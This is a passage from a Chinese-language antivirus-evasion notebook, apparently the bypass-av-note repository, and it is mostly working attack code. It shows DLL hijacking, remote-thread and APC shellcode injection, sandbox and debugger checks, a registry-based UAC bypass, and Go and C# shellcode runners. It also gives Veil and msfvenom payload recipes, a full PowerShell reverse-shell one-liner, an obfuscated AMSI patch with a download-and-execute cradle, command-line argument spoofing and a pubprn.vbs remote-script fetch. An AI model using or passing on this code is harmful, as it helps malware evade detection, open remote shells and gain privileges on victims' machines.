  4. mov eax, fs:[0x30];
  5. }
  6. }
  7. PEB_LDR_DATA* NtGetPebLdr(void* peb)
  8. {
  9. __asm {
  10. mov eax, peb;
  11. mov eax, [eax + 0xc];
  12. }
  13. }
  14. VOID SuperDllHijack(LPCWSTR dllname, HMODULE hMod)
  15. {
  16. WCHAR wszDllName[100] = { 0 };
  17. void* peb = NtCurrentPeb();
  18. PEB_LDR_DATA* ldr = NtGetPebLdr(peb);
  19. //InLoadOrderModuleList; 模块加载顺序
  20. for (LIST_ENTRY* entry = ldr->InLoadOrderModuleList.Blink;
  21. entry != (LIST_ENTRY*)(&ldr->InLoadOrderModuleList);
  22. entry = entry->Blink) {
  23. PLDR_DATA_TABLE_ENTRY data = (PLDR_DATA_TABLE_ENTRY)entry;
  24. memset(wszDllName, 0, 100 * 2);
  25. memcpy(wszDllName, data->BaseDllName.Buffer, data->BaseDllName.Length);
  26. if (!_wcsicmp(wszDllName, dllname)) {
  27. data->DllBase = hMod;
  28. break;
  29. }
  30. }
  31. }
  32. VOID DllHijack(HMODULE hMod)
  33. {
  34. TCHAR tszDllPath[MAX_PATH] = { 0 };
  35. GetModuleFileName(hMod, tszDllPath, MAX_PATH);
  36. PathRemoveFileSpec(tszDllPath);
  37. PathAppend(tszDllPath, TEXT("mydll.dll.1"));
  38. HMODULE hMod1 = LoadLibrary(tszDllPath);
  39. SuperDllHijack(L"mydll.dll", hMod1);
  40. }
  41. BOOL APIENTRY DllMain( HMODULE hModule,
  42. DWORD ul_reason_for_call,
  43. LPVOID lpReserved
  44. )
  45. {
  46. switch (ul_reason_for_call)
  47. {
  48. case DLL_PROCESS_ATTACH:
  49. DllHijack(hModule);
  50. break;
  51. case DLL_THREAD_ATTACH:
  52. case DLL_THREAD_DETACH:
  53. case DLL_PROCESS_DETACH:
  54. break;
  55. }
  56. return TRUE;
  57. }

InLoadOrderModuleList 确认模块加载顺序

核心函数

  1. //向前遍历peb->ldr找到mydll.dll的ldrentry,然后修改dllbase为hMod
  2. for (LIST_ENTRY* entry = ldr->InLoadOrderModuleList.Blink;
  3. entry != (LIST_ENTRY*)(&ldr->InLoadOrderModuleList);
  4. entry = entry->Blink) {
  5. PLDR_DATA_TABLE_ENTRY data = (PLDR_DATA_TABLE_ENTRY)entry;
  6. memset(wszDllName, 0, 100 * 2);
  7. memcpy(wszDllName, data->BaseDllName.Buffer, data->BaseDllName.Length);
  8. if (!_wcsicmp(wszDllName, dllname)) {
  9. data->DllBase = hMod;
  10. break;
  11. }
  12. }

Airboi/bypass-av-note: 免杀技术大杂烩---乱拳也打不死老师傅 - 图11

Airboi/bypass-av-note: 免杀技术大杂烩---乱拳也打不死老师傅 - 图12

Airboi/bypass-av-note: 免杀技术大杂烩---乱拳也打不死老师傅 - 图13

Dll injection

总结: https://www.cnblogs.com/uAreKongqi/p/6012353.html

摘要

常见方法:

  • 创建新线程
  • 插入 Apc 队列
  • 手动实现 LoadLibrary
  • ~ 修改注册表~
  • ~ 挂钩窗口消息~
  • ~ 设置线程上下背景文,修改寄存器~

CreateRemoteThread(NewProcess)

Sysmon 对 Event ID 8: CreateRemoteThread 有监控

  1. STARTUPINFOEXA si;
  2. PROCESS_INFORMATION pi;
  3. ZeroMemory(&si, sizeof(si));
  4. si.StartupInfo.cb = sizeof(STARTUPINFOEXA);
  5. si.StartupInfo.dwFlags = STARTF_USESHOWWINDOW;
  6. BOOL success = CreateProcessA(
  7. NULL,
  8. (LPSTR)"C:\\Windows\\System32\\mblctr.exe",
  9. NULL,
  10. NULL,
  11. true,
  12. CREATE_SUSPENDED | EXTENDED_STARTUPINFO_PRESENT,
  13. NULL,
  14. NULL,
  15. reinterpret_cast<LPSTARTUPINFOA>(&si),
  16. &pi);
  17. // Assign our attribute
  18. HANDLE notepadHandle = pi.hProcess;
  19. LPVOID remoteBuffer = VirtualAllocEx(notepadHandle, NULL, sizeof data, (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE);
  20. WriteProcessMemory(notepadHandle, remoteBuffer, data, sizeof data, NULL);
  21. HANDLE remoteThread = CreateRemoteThread(notepadHandle, NULL, 0, (LPTHREAD_START_ROUTINE)remoteBuffer, NULL, 0, NULL);
  22. if (WaitForSingleObject(remoteThread, INFINITE) == WAIT_FAILED) {
  23. return 1;
  24. }

异步过程调用 (APC) 注入

  1. 概念 APC 可以看成就是内核里的定时器, 为了给自己一个在本函数返回后还能执行的一次机会, 有很多操作是需要在函数返回后才能执行, APC 类似于析构函数但不完全是.
  2. 特点 apc 的最大特点就是在本函数返回后才执行, 而且是在本线程中.

对于用户模式下的 APC 队列,当线程处在alertable状态时才去执行这些 APC 函数。因此,在 ring3 User-Mode 下最暴力的办法就是给每个线程设置成 alertable(遍历线程的时候从后往前遍历着插入就不会崩溃)

alertable “可唤醒的” SleepEx()——>KeDelayExecutionThread() WaitForSingleObject()——>KeWaitForSingleObject() WaitForMultipleObjects()——>KeWaitForMultipleObjects()

当上述调用发生时,线程 Alertable 被置为 TRUE。同时,还会通过宏 TestForAlertPending 设置 KTHREAD 的另外一个成员:UserApcPending,当 Alertable 为 TRUE,并且 User APC 队列不为空,那么该值将被置为 TRUE。

APC 注入分为内核(驱动)APC 注入 和 User-Mode APC 注入两种,在内核态进行 APC 注入时不需要考虑alertable

  1. 执行时间 apc 它的执行时机有多,比如在线程 wait、线程切换到应用层、线程被挂起等等等等, 而且 apc 也分几个层次的优先级. 就是说 apc 一般是不太需要立马执行的低优先级的函数。所以一旦线程有空隙了,windows 就会执行一下.
  1. string strShellCode = "[INSERT BASE64 SHELLCODE HERE]";
  2. byte[] shellcode = System.Convert.FromBase64String(strShellCode);
  3. STARTUPINFO si = new STARTUPINFO();
  4. PROCESS_INFORMATION pi = new PROCESS_INFORMATION();
  5. bool success = CreateProcess(processpath, null,
  6. IntPtr.Zero, IntPtr.Zero, false,
  7. ProcessCreationFlags.CREATE_SUSPENDED,
  8. IntPtr.Zero, null, ref si, out pi);
  9. IntPtr resultPtr = VirtualAllocEx(pi.hProcess, IntPtr.Zero, shellcode.Length,MEM_COMMIT, PAGE_READWRITE);
  10. IntPtr bytesWritten = IntPtr.Zero;
  11. bool resultBool = WriteProcessMemory(pi.hProcess,resultPtr,shellcode,shellcode.Length, out bytesWritten);
  12. IntPtr sht = OpenThread(ThreadAccess.SET_CONTEXT, false, (int)pi.dwThreadId);
  13. uint oldProtect = 0;
  14. resultBool = VirtualProtectEx(pi.hProcess,resultPtr, shellcode.Length,PAGE_EXECUTE_READ, out oldProtect);
  15. IntPtr ptr = QueueUserAPC(resultPtr,sht,IntPtr.Zero);
  16. IntPtr ThreadHandle = pi.hThread;
  17. ResumeThread(ThreadHandle);

Block DLL(Create New Process)

https://www.anquanke.com/post/id/190344

Airboi/bypass-av-note: 免杀技术大杂烩---乱拳也打不死老师傅 - 图14
https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-updateprocthreadattribute

Airboi/bypass-av-note: 免杀技术大杂烩---乱拳也打不死老师傅 - 图15
Airboi/bypass-av-note: 免杀技术大杂烩---乱拳也打不死老师傅 - 图16

/Users/boi/Documents/Work/Security/Pentest/bypassAV/blockdll_ACG/

  1. STARTUPINFOEXA si;
  2. PROCESS_INFORMATION pi;
  3. policy.ProhibitDynamicCode = 1;
  4. ZeroMemory(&si, sizeof(si));
  5. si.StartupInfo.cb = sizeof(STARTUPINFOEXA);
  6. si.StartupInfo.dwFlags = STARTF_USESHOWWINDOW;
  7. // Get the size of our PROC_THREAD_ATTRIBUTE_LIST to be allocated
  8. InitializeProcThreadAttributeList(NULL, 1, 0, &size);
  9. // Allocate memory for PROC_THREAD_ATTRIBUTE_LIST
  10. si.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(
  11. GetProcessHeap(),
  12. 0,
  13. size
  14. );
  15. // Initialise our list
  16. InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &size);
  17. // Enable blocking of non-Microsoft signed DLLs
  18. DWORD64 policy = PROCESS_CREATION_MITIGATION_POLICY_BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON;
  19. // Assign our attribute
  20. UpdateProcThreadAttribute(si.lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_MITIGATION_POLICY, &policy, sizeof(policy), NULL, NULL);

ACG(Arbitrary Code Guard)

阻止杀软进程 hook 我们的进程后在进程内部使用 VirtualAlloc 等函数修改内存空间 使其无法生成动态代码或修改现有的可执行代码.

Airboi/bypass-av-note: 免杀技术大杂烩---乱拳也打不死老师傅 - 图17

  1. PROCESS_MITIGATION_DYNAMIC_CODE_POLICY acg_policy;
  2. ZeroMemory(&acg_policy, sizeof(acg_policy));
  3. acg_policy.ProhibitDynamicCode = 1;
  4. if (SetProcessMitigationPolicy(ProcessDynamicCodePolicy, &acg_policy, sizeof(acg_policy)) == false) {
  5. MessageBoxA(NULL, "load testdll.dll error.", "error", MB_OK);
  6. return 1;
  7. }

内存动态加载 DLL

https://github.com/fancycode/MemoryModule

虚拟机反调试

那么问题来了,如何对抗云沙箱的检测呢?我们知道,很多杀软都有自己的后端云沙箱,这些沙箱能够模拟出软件执行所需的运行环境,通过进程 hook 技术来对软件执行过程中的行为进行分析,判断其是否有敏感的操作行为,或者更高级的检测手法是,将获取到的程序的 API 调用序列以及其他的一些行为特征输入到智能分析引擎中(基于机器学习 org)进行检测。所以,如果我们的木马没有做好反调试,很容易就被沙箱检测出来。

最简单的反调试的措施就是检测父进程。一般来说,我们手动点击执行的程序的父进程都是 explore。如果一个程序的父进程不是 explor,那么我们就可以认为他是由沙箱启动的。那么我们就直接 exit 退出,这样,杀软就无法继续对我们进行行为分析了。具体的实现代码如下:

  1. DWORD get_parent_processid( DWORD pid )
  2. {
  3. DWORD ParentProcessID = -1;
  4. PROCESSENTRY32 pe;
  5. HANDLE hkz;
  6. HMODULE hModule = LoadLibrary( _T( "Kernel32.dll" ) );
  7. FARPROC Address = GetProcAddress( hModule, "CreateToolhelp32Snapshot" );
  8. if ( Address == NULL ){
  9. OutputDebugString( _T( "GetProc error" ) );
  10. return(-1);
  11. }
  12. _asm{
  13. push 0
  14. push 2
  15. call Address
  16. mov hkz, eax
  17. }
  18. pe.dwSize = sizeof(PROCESSENTRY32);
  19. if ( Process32First( hkz, &pe ) ){
  20. do{
  21. if ( pe.th32ProcessID == pid ){
  22. ParentProcessID = pe.th32ParentProcessID;
  23. break;
  24. }
  25. }
  26. while ( Process32Next( hkz, &pe ) );
  27. }
  28. returnParentProcessID;
  29. }
  30. DWORD get_explorer_processid(){
  31. DWORD explorer_id = -1;
  32. PROCESSENTRY32 pe;
  33. HANDLE hkz;
  34. HMODULE hModule = LoadLibrary( _T( "Kernel32.dll" ) );
  35. if ( hModule == NULL ){
  36. OutputDebugString( _T( "Loaddll error" ) );
  37. return(-1);
  38. }
  39. FARPROCAddress = GetProcAddress( hModule, "CreateToolhelp32Snapshot" );
  40. if ( Address == NULL ){
  41. OutputDebugString( _T( "GetProc error" ) );
  42. return(-1);
  43. }
  44. _asm{
  45. push0
  46. push2
  47. callAddress
  48. movhkz, eax
  49. }
  50. pe.dwSize = sizeof(PROCESSENTRY32);
  51. if ( Process32First( hkz, &pe ) ){
  52. do{
  53. if ( _stricmp( pe.szExeFile, "explorer.exe" ) == 0 )
  54. {
  55. explorer_id = pe.th32ProcessID;
  56. break;
  57. }
  58. }
  59. while ( Process32Next( hkz, &pe ) );
  60. }
  61. returnexplorer_id;
  62. }
  63. void domain(){
  64. DWORD explorer_id = get_explorer_processid();
  65. DWORD parent_id = get_parent_processid( GetCurrentProcessId() );
  66. if ( explorer_id == parent_id ){ /* 判断父进程id是否和explorer进程id相同{ */
  67. dowork();
  68. }
  69. else {
  70. exit( 1 );
  71. }
  72. }

这里主要的思路是获取调用 kernel32 库中的 CreateToolhelp32Snapshot 函数获得一个进程快照信息,然后从快照中获取到 explorer.exe 的进程 id 信息,然后通过当前进程的 pid 信息在进程快照中找到其父进程的 id 信息,最后将两者进行比较,判断当前进程是否是有人工启动的。

反调试的措施不仅仅是检测父进程,还可以通过调用 windows 的 API 接口 IsDebuggerPresent 来检查当前进程是否正在被调试。

TODO: 检测反调试的话,还可以通过检查进程堆的标识符号来实现,系统创建进程时会将 Flags 置为 0×02(HEAP_GROWABLE),将 ForceFlags 置为 0。但是进程被调试时,这两个标志通常被设置为 0x50000062h 和 0x40000060h。当然还可以利用特权指令 in eax,dx 来做免杀。

UAC

visual Studio 下设置 UAC 需求

Airboi/bypass-av-note: 免杀技术大杂烩---乱拳也打不死老师傅 - 图18
/Users/boi/Desktop / 特征信息 / md

CompyterDefaults.exe

注意在 unicode 环境下,需要通过(PBYTE)&来转换CHAR *类型的字符串。 以及 GetModuleFileNameA 与 GetModuleFileName 的区别:字符串编码的区别

  1. //bypass UAC 高权限启动当前进程
  2. //GetModuleFileNameA: 获取当前文件完整路径
  3. #undef _UNICODE
  4. #define _UNICODE
  5. #undef UNICODE
  6. #define UNICODE
  7. #define _CRT_SECURE_NO_WARNINGS
  8. CHAR cwd[256];
  9. GetModuleFileNameA(NULL, cwd, sizeof(cwd));//"cmd.exe"
  10. LPCTSTR gname = "DelegateExecute";
  11. HKEY hkResult = NULL;
  12. int ret = RegCreateKeyA(HKEY_CURRENT_USER, "Software\\Classes\\ms-settings\\shell\\open\\command", &hkResult);
  13. ret = RegSetValueExA(hkResult, (const BYTE*)"DelegateExecute", 0, REG_SZ, "", 1);
  14. ret = RegSetValueExA(hkResult, NULL, 0, REG_SZ, (PBYTE)&cwd, strlen(cwd) + 1);
  15. RegCloseKey(hkResult);
  16. system("C:\\windows\\system32\\ComputerDefaults.exe");
  17. exit(1);

Other

C# 函数变换

https://github.com/DamonMohammadbagher/NativePayload_Reverse_tcp

  1. public static UInt32 funcAddr;
  2. [DllImport("kernel32")]
  3. public static extern UInt32 VirtualAlloc(UInt32 lpStartAddr, UInt32 size, UInt32 flAllocationType, UInt32 flProtect);
  4. public delegate UInt32 V(UInt32 lpStartAddr, UInt32 size, UInt32 flAllocationType, UInt32 flProtect);
  5. V v = Hide.code.b._classs.VirtualAlloc;
  6. Hide.code.b.funcAddr = v(0, (UInt32)Hide.code.a.ftp.Length, Hide.hide2.hide3.MMC, Hide.hide2.hide3.PERE);

go 内联免杀

360 + 火绒

  1. package main
  2. /*
  3. void call(char *code) {
  4. int (*ret)() = (int(*)())code;
  5. ret(); }
  6. */
  7. import "C"
  8. import "unsafe"
  9. func main() {
  10. buf := "cobaltstrike python shellcode(x86/x64)"
  11. shellcode := []byte(buf)
  12. C.call((*C.char)(unsafe.Pointer(&shellcode[0]))) }

AVIator

360 + 火绒

  1. https://github.com/Ch0pin/AVIator

AvIator360

cs + veil

360 + 火绒 Airboi/bypass-av-note: 免杀技术大杂烩---乱拳也打不死老师傅 - 图19

  1. cs -> veil -> use 1 -> use 17 -> generate(bypass 360/火绒)
  2. sh-4.4# veil
  3. Veil>: use 1
  4. Veil/Evasion>: use 17 //如下图

Airboi/bypass-av-note: 免杀技术大杂烩---乱拳也打不死老师傅 - 图20

  1. BADMACS 设置为Y表示 查看运行环境的MAC地址如果不是虚拟机才会执行payload (反调试)
  2. CLICKTRACK 设置为4表示 表示需要4次点击才会执行
  3. CURSORCHECK 设置为100表示 运行环境的硬盘大小如果大于100GB才会执行payload (反沙箱)
  4. COMPILE_TO_EXE 设置为Y表示 编译为exe文件
  5. HOSTNAME 设置为Comp1表示 只有在Hostname计算机名为Comp1时才会执行payload(指定目标环境 反沙箱的方式)
  6. INJECT_METHOD 可设置为Virtual Heap
  7. MINPROCS 设置为20表示 只有运行环境的运行进程数大于20时才会执行payload(指定目标环境 反沙箱的方式)
  8. PROCCHECK 设置为Y表示 只有运行环境的进程中没有虚拟机进程时才会执行payload(指定目标环境 反沙箱的方式)
  9. PROCESSORS 设置为2表示 只在至少2核的机器中才会执行payload(指定目标环境 反沙箱的方式)
  10. RAMCHECK 设置为Y表示 只在运行环境的内存为3G以上时才会执行payload(指定目标环境 反沙箱的方式)
  11. SLEEP 设置为10表示 休眠10 以检测是否运行过程中被加速(反沙箱)
  12. USERNAME 设置为Tom表示 只有在当前用户名为Tom的机器中才执行payload
  13. USERPROMPT 设置为Y表示 injection之前提醒用户(提示一个错误框,让用户误以为该程序执行错误才无法打开)
  14. DEBUGGER 设置为Y表示 当被调试器不被attached时才会执行payload (反调试)
  15. DOMAIN 设置为Comp表示 受害者计算机只有加入Comp域中时,才会执行payload(指定目标环境 反沙箱的方式)
  16. UTCCHECK 设置为Y表示 只在运行环境的系统使用UTC时间时,才会执行payload
  1. [go/shellcode_inject/virtual>>]: generate
  2. >> 3

Airboi/bypass-av-note: 免杀技术大杂烩---乱拳也打不死老师傅 - 图21

  1. [>] Please enter the base name for output files (default is payload): test

Airboi/bypass-av-note: 免杀技术大杂烩---乱拳也打不死老师傅 - 图22

Simple-Loader 免杀 Defender

https://github.com/cribdragg3r/Simple-Loader

Airboi/bypass-av-note: 免杀技术大杂烩---乱拳也打不死老师傅 - 图23

反弹 socket —- NativePayload_ReverseShell

  1. powershell -c "$client = New-Object Net.Sockets.TCPClient('172.16.76.1',12345);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback +'> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"

https://github.com/DamonMohammadbagher/NativePayload_ReverseShell Airboi/bypass-av-note: 免杀技术大杂烩---乱拳也打不死老师傅 - 图24

bypassAMSI

  1. # mov eax, 80070057h
  2. # ret
  3. Write-Host "-- AMSI Patch"
  4. Write-Host "-- Paul Laîné (@am0nsec)"
  5. Write-Host ""
  6. ${Kern`eL32} = @"
  7. using System;
  8. using System.Runtime.InteropServices;
  9. public class Kernel32 {
  10. [DllImport("kernel32")]
  11. public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
  12. [DllImport("kernel32")]
  13. public static extern IntPtr LoadLibrary(string name);
  14. [DllImport("kernel32")]
  15. public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
  16. }
  17. "@
  18. Add-Type ${Kern`el32}
  19. [IntPtr]$hModule = [Kernel32]::LoadLibrary("amsi.dll")
  20. ${A`DDRE`Ss} = [kernel32]::GetProcAddress($hModule, "Amsi"+"Scan"+"Buffer")
  21. ${p} = 0
  22. [kernel32]::VirtualProtect(${A`DdRes`S}, [uint32]5,0x40, [ref]${P})
  23. ${pat`ch} = [Byte[]] (0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3)
  24. If (${a`DDrEsS} -ne 0){
  25. [System.Runtime.InteropServices.Marshal]::Copy(${p`AT`cH}, 0, ${A`DdR`eSs}, 6)
  26. }
  27. # $string = 'iex ((new-object net.webclient).downloadstring("http://192.168.214.129/amsi-bypass")); if([Bypass.AMSI]::Disable() -eq "0") { iex ((new-object net.webclient).downloadstring("http://192.168.214.129/stager")) }'

API 替换

如 CreateThreadEx 替换 CreateThread

Spoofing CommandLine Argument

https://blog.xpnsec.com/how-to-argue-like-cobalt-strike/

  1. #include <iostream>
  2. #include <windows.h>
  3. #include <winternl.h>
  4. #define CMD_TO_SHOW "powershell.exe -NoExit -c Write-Host 'This is just a friendly argument, nothing to see here'"
  5. #define CMD_TO_EXEC L"powershell.exe -NoExit -c Write-Host Surprise, arguments spoofed\0"
  6. typedef NTSTATUS(*NtQueryInformationProcess2)(
  7. IN HANDLE,
  8. IN PROCESSINFOCLASS,
  9. OUT PVOID,
  10. IN ULONG,
  11. OUT PULONG
  12. );
  13. void* readProcessMemory(HANDLE process, void *address, DWORD bytes) {
  14. SIZE_T bytesRead;
  15. char *alloc;
  16. alloc = (char *)malloc(bytes);
  17. if (alloc == NULL) {
  18. return NULL;
  19. }
  20. if (ReadProcessMemory(process, address, alloc, bytes, &bytesRead) == 0) {
  21. free(alloc);
  22. return NULL;
  23. }
  24. return alloc;
  25. }
  26. BOOL writeProcessMemory(HANDLE process, void *address, void *data, DWORD bytes) {
  27. SIZE_T bytesWritten;
  28. if (WriteProcessMemory(process, address, data, bytes, &bytesWritten) == 0) {
  29. return false;
  30. }
  31. return true;
  32. }
  33. int main(int argc, char **canttrustthis)
  34. {
  35. STARTUPINFOA si;
  36. PROCESS_INFORMATION pi;
  37. CONTEXT context;
  38. BOOL success;
  39. PROCESS_BASIC_INFORMATION pbi;
  40. DWORD retLen;
  41. SIZE_T bytesRead;
  42. PEB pebLocal;
  43. RTL_USER_PROCESS_PARAMETERS *parameters;
  44. printf("Argument Spoofing Example by @_xpn_\n\n");
  45. memset(&si, 0, sizeof(si));
  46. memset(&pi, 0, sizeof(pi));
  47. // Start process suspended
  48. success = CreateProcessA(
  49. NULL,
  50. (LPSTR)CMD_TO_SHOW,
  51. NULL,
  52. NULL,
  53. FALSE,
  54. CREATE_SUSPENDED | CREATE_NEW_CONSOLE,
  55. NULL,
  56. "C:\\Windows\\System32\\",
  57. &si,
  58. &pi);
  59. if (success == FALSE) {
  60. printf("[!] Error: Could not call CreateProcess\n");
  61. return 1;
  62. }
  63. // Retrieve information on PEB location in process
  64. NtQueryInformationProcess2 ntpi = (NtQueryInformationProcess2)GetProcAddress(LoadLibraryA("ntdll.dll"), "NtQueryInformationProcess");
  65. ntpi(
  66. pi.hProcess,
  67. ProcessBasicInformation,
  68. &pbi,
  69. sizeof(pbi),
  70. &retLen
  71. );
  72. // Read the PEB from the target process
  73. success = ReadProcessMemory(pi.hProcess, pbi.PebBaseAddress, &pebLocal, sizeof(PEB), &bytesRead);
  74. if (success == FALSE) {
  75. printf("[!] Error: Could not call ReadProcessMemory to grab PEB\n");
  76. return 1;
  77. }
  78. // Grab the ProcessParameters from PEB
  79. parameters = (RTL_USER_PROCESS_PARAMETERS*)readProcessMemory(
  80. pi.hProcess,
  81. pebLocal.ProcessParameters,
  82. sizeof(RTL_USER_PROCESS_PARAMETERS) + 300
  83. );
  84. // Set the actual arguments we are looking to use
  85. WCHAR spoofed[] = CMD_TO_EXEC;
  86. success = writeProcessMemory(pi.hProcess, parameters->CommandLine.Buffer, (void*)spoofed, sizeof(spoofed));
  87. if (success == FALSE) {
  88. printf("[!] Error: Could not call WriteProcessMemory to update commandline args\n");
  89. return 1;
  90. }
  91. /////// Below we can see an example of truncated output in ProcessHacker and ProcessExplorer /////////
  92. // Update the CommandLine length (Remember, UNICODE length here)
  93. DWORD newUnicodeLen = 28;
  94. success = writeProcessMemory(
  95. pi.hProcess,
  96. (char *)pebLocal.ProcessParameters + offsetof(RTL_USER_PROCESS_PARAMETERS, CommandLine.Length),
  97. (void*)&newUnicodeLen,
  98. 4
  99. );
  100. if (success == FALSE) {
  101. printf("[!] Error: Could not call WriteProcessMemory to update commandline arg length\n");
  102. return 1;
  103. }
  104. // Resume thread execution*/
  105. ResumeThread(pi.hThread);
  106. }

签名伪造

Sigthief

修改资源文件

Airboi/bypass-av-note: 免杀技术大杂烩---乱拳也打不死老师傅 - 图25

修改图标等资源文件的操作会改变文件的 MD5, 在某些情况下可以免杀一部分杀软, 如 360… Restorator Resource_Hacker

MSF

  1. 1 msfvenom -p windows/meterpreter/reverse_http-e x86/shikata_ga_nai -i 15 -b '\x00' PrependMigrate=true PrependMigrateProc=svchost.exe LHOST=[your remote ip addres] LPORT=[listeningport] -f c >hacker.c
  2. 2 msfvenom -p windows/meterpreter/reverse_tcp-e x86/shikata_ga_nai -i 15 -b '\x00' PrependMigrate=true PrependMigrateProc=svchost.exe LHOST=[your remote ip addres]LPORT=[listening port] -f c >hacker.c
  3. 3 msfvenom -p windows/meterpreter/reverse_tcp_rc4 -e x86/shikata_ga_nai -i 15 -b '\x00' PrependMigrate=true PrependMigrateProc=svchost.exe LHOST=[your remote ip addres]LPORT=[listening port] -f c >hacker.c

-e x86/shikata_ga_nai -i 15是用-e x86/shikata_ga_nai编码 15 次,而PrependMigrate=true PrependMigrateProc=svchost.exe使这个程序默认会迁移到 svchost.exe 进程

另外使用 revers_tcp_rc4 可以对回话进行加密,对免杀有一定帮助

pubprn.vbs*

  1. cscript C:\Windows\System32\Printing_Admin_Scripts\zh-CN\pubprn.vbs 127.0.0.1 script:https://gist.githubusercontent.com/api0cradle/fb164762143b1ff4042d9c662171a568/raw/709aff66095b7f60e5d6f456a5e42021a95ca802/test.sct

隐藏窗口

  • wmain 创建窗口项目
  • 命令参数
  1. #pragma comment(linker, "/subsystem:windows /entry:mainCRTStartup" )
  • powershell
  1. Start-Process "C:`z\Windows\System32\cmd.exe" -Window Hidden
  • C#
  1. var handle = GetConsoleWindow();
  2. ShowWindow(handle, SW_HIDE);

参考资料

https://ired.team/offensive-security/code-injection-process-injection/process-injection

https://3gstudent.github.io/3gstudent.github.io/%E9%80%9A%E8%BF%87APC%E5%AE%9E%E7%8E%B0Dll%E6%B3%A8%E5%85%A5-%E7%BB%95%E8%BF%87Sysmon%E7%9B%91%E6%8E%A7/

https://github.com/3gstudent/Inject-dll-by-APC/blob/master/test.cpp

https://github.com/wbenny/injdrv

https://github.com/DarthTon/Blackbone/blob/43bc59f68dc1e86347a76192ef3eadc0bf21af67/src/BlackBoneDrv/Loader.c (ring0 驱动)

https://xz.aliyun.com/t/4191

https://github.com/Veil-Framework/Veil

https://github.com/cribdragg3r/Simple-Loader

https://sevrosecurity.com/2019/05/25/bypass-windows-defender-with-a-simple-shell-loader/

https://j00ru.vexillium.org/syscalls/nt/64/

https://github.com/theevilbit/injection/blob/d166564e692d34c29620658a2102268bc9e640b1/InjectDLL/InjectDLL/InjectDLL.cpp

https://github.com/theevilbit/injection/blob/598e77b726925153079384114fa6f599a8b84995/SimpleThreadInjection/SimpleThreadInjection/SimpleThreadInjection.cpp

https://blog.xpnsec.com/

https://github.com/klionsec/BypassAV-AllThings

https://github.com/Techryptic/AV_Bypass

https://github.com/DamonMohammadbagher/eBook-BypassingAVsByCSharp/blob/master/CH1/Bypassing%20Anti%20Viruses%20by%20C%23.NET%20Programming%20Chapter%201.pdf

https://github.com/Hackplayers/Salsa-tools

https://www.anquanke.com/post/id/190344

https://www.freebuf.com/column/135314.html

https://modexp.wordpress.com/2015/11/19/dllpic-injection-on-windows-from-wow64-process/

http://deniable.org/misc/inject-all-the-things

https://github.com/theevilbit/injection

https://uknowsec.cn/posts/notes/shellcode%E5%8A%A0%E8%BD%BD%E6%80%BB%E7%BB%93.html

https://3gstudent.github.io/3gstudent.github.io/%E9%80%9A%E8%BF%87%E6%A8%A1%E6%8B%9F%E5%8F%AF%E4%BF%A1%E7%9B%AE%E5%BD%95%E7%BB%95%E8%BF%87UAC%E7%9A%84%E5%88%A9%E7%94%A8%E5%88%86%E6%9E%90/

https://github.com/processhacker/processhacker/blob/master/phnt/include/ntpsapi.h

https://ired.team/offensive-security/defense-evasion/bypassing-windows-defender-one-tcp-socket-away-from-meterpreter-and-cobalt-strike-beacon

https://ired.team/offensive-security/code-injection-process-injection/process-injection

https://github.com/stormshadow07/HackTheWorld

https://github.com/diegslva/BypassUA

https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell

https://github.com/sailay1996/Fileless_UAC_bypass_WSReset

https://www.activecyber.us/activelabs/windows-uac-bypass
https://github.com/Airboi/bypass-av-note